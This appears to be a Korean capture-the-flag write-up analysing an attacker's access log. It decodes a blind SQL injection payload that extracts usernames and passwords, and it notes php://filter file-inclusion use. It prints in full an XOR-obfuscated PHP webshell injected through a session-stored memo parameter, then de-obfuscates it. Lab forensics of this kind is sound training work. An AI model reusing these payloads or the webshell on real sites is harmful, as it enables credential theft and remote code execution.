5개의 문제를 풀면 되는 문제이다.
로그를 보면 board 페이지에서 Blind SQL 인젝션을 했던 기록이 적혀있다.
참일 경우 500 상태코드를 보여주고 거짓일 경우 200이 되는 로그이다.
sort=if(ord(substr((select group_concat(username,0x3a,password)from users),18,1))=49,
(select 1 union select 2),0)
select group_concat(username,0x3apassword) from users
=> user 테이블에서 username 과 password 을 출력 (username:password)형식
substr((select group_concat(username,0x3a,password) from users),18,1)
=> 위 결과에서 18번째 문자에서 시작하여 1개의 문자를 추출
ord(substr((select group_concat(username,0x3a,password) from users),18,1))
=> 위 결과에서 추출한 문자의 ASCII 코드 값을 반환
if(ord(substr((select group_concat(username,0x3a,password) from users),18,1))=49,(select 1 union select 2),0)
=> 만약 ASCII 코드 값이 49이면 (select 1 union select 2) 을 반환 그렇지 않으면 0을 반환
Blind SQL 인젝션 페이로드를 해석하면 위와 같다.
이제 위 코드에 맞게 익스코드를 작성해서 값을 구해보자~!
if __name__ == "__main__":
f = open("access.log", "r")
res = ""
for i in f.readlines():
if "password" in i and "500" in i:
data = int(i.split("=")[2].split(",")[0])
res += chr(data)
print(res)
해당 admin의 password을 구할수 있다.
다음 문제는 config.php 코드를 추출하는데 사용한 페이로드를 찾아야한다.
config.php에 대한 로그를 확인해보면 php://filter~~ 에 대한 기록이 있는걸 확인하 수 있다.
php://filter를 이용한 LFI 페이로드이다.
로그를 보면 index, config, users, memo.php에 LFI 페이로드를 사용한 공격을 한 흔적을 확인할 수 있다.
그리고 memo.php에다가 웹쉘을 실행시킨걸 확인할 수 있다.
<?php
if($level[$_SESSION['level']] !== "admin") { die("Only Admin !"); }
if(isset($_GET['memo'])){
$_SESSION['memo'] = $_GET['memo'];
}
if(isset($_SESSION['memo'])){
echo($_SESSION['memo']);
}
?>
memo.php 을 보면 memo가 SESSION에 저장이된다 즉, 공격에 사용된 전체 경로는 /var/lib/php/sessions/sess_ag~~ 이다.
memo=%3C?php%20function%20m($l,$T=0){$K=date(%27Y-m-d%27);$_=strlen($l);$__=strlen($K);for($i=0;$i%3C$_;$i%2b%2b){for($j=0;$j%3C$__;%20$j%2b%2b){if($T){$l[$i]=$K[$j]^$l[$i];}else{$l[$i]=$l[$i]^$K[$j];}}}return%20$l;}%20m(%27bmha[tqp[gkjpajpw%27)(m(%27%2brev%2bsss%2blpih%2bqthke`w%2bmiecaw*tlt%27),m(%278;tlt$lae`av,%26LPPT%2b5*5$040$Jkp$Bkqj`%26-?w}wpai,%20[CAP_%26g%26Y-?%27));%20?%3E
웹쉘 코드를 php online compile을 통해 경로를 찾아보자.
URL 인코딩이 섞여 있는 웹쉘 코드를 URL 디코딩해서 실행했을 때, 알수 없는 문자가 출력이 된다,,,
이상한 문자가 나온다... PHP에서 data()함수는 현제 날짜를 출력하기 때문에 실행 시킨 날로 변경을 해보자..
[02/Jun/2020:09:55:16 +0000] 이 실행 날짜 이다. $K = ('2020-06-02') 을 넣어보자.
웹쉘을 업로드한 경로가 나온다..!
<?php
function m($l,$T=0){
$K=date('2020-06-02');
$_=strlen($l);
$__=strlen($K);
for($i=0;$i<$_;$i++){
for($j=0;$j<$__; $j++){
if($T){
$l[$i]=$K[$j]^$l[$i];
}
else{
$l[$i]=$l[$i]^$K[$j];
}
}
}
return $l;
}
echo m('bmha[tqp[gkjpajpw');
echo m('+rev+sss+lpih+qthke`w+miecaw*tlt');
echo m('8;tlt$lae`av,&LPPT+5*5$040$Jkp$Bkqj`&-?w}wpai, [CAP_&g&Y-?');
?>
웹쉘을 통해 실행된 명령어는 whoami 이다.
문제를 다 풀면 flag 값을 얻을 수 있다.
'모의해킹 > Dreamhack' 카테고리의 다른 글
Tomcat Manager (0) | 2023.11.14 |
---|---|
funjs (0) | 2023.11.13 |
login-1 (0) | 2023.11.09 |
SSTI(취약점 개념) (0) | 2023.11.09 |
baby-union (0) | 2023.11.08 |